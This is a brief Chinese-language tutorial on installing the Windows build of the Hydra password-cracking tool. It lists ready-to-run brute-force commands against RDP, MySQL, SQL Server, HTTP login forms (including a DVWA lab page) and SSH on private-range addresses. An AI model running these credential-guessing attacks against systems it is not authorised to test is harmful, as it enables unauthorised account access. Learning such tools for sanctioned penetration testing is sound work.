hydra(windows版本)安装和简单使用
hydra下载地址:https://github.com/maaaaz/thc-hydra-windows
解压安装即可,然后使用命令行(cmd)切到安装目录,例如:cd D:\thc-hydra-windows-master>
然后输入hydra.exe回车,出现以下提示说明安装成功。(注意:以后使用hydra都要切到安装目录才可以使用)
hydra -L 账户字典
-l 单个账户名
-p 单个密码
-P 密码字典
hydra爆破rdp:(前提是目标的远程连接可以访问)
hydra -l Administrator -P password.txt rdp://192.168.1.111
hydra爆破mysql:(前提是目标的mysql可远程访问)
hydra -l root -P password.txt 192.168.1.111 mysql
hydra爆破sql server:(前提是目标的mysql可远程访问)
hydra -l sa -P password.txt 192.168.1.111 mssql
hydra爆破http:( http-get or http-form-post.)
hydra -l admin -P password.txt 192.168.1.111 http-get /login.php
hydra -l admin -P password.txt 192.168.213.135 http-form-post “/dvwa/login.php:user=^USER^&pass=^PASS^:<title>invalide</title”
【注】(user,pass改为账户密码提交表单<label for=””>的值)
hydra爆破ssh:( 前提是目标的远程连接可以访问)
hydra -l root -P password.txt 192.168.1.111 ssh
注意事项:
1、字典路径为全英文且不能空格;
2、做测试的时候要确保目标可访问;
3、所有符号均为英文状态下输入;
持续更新中…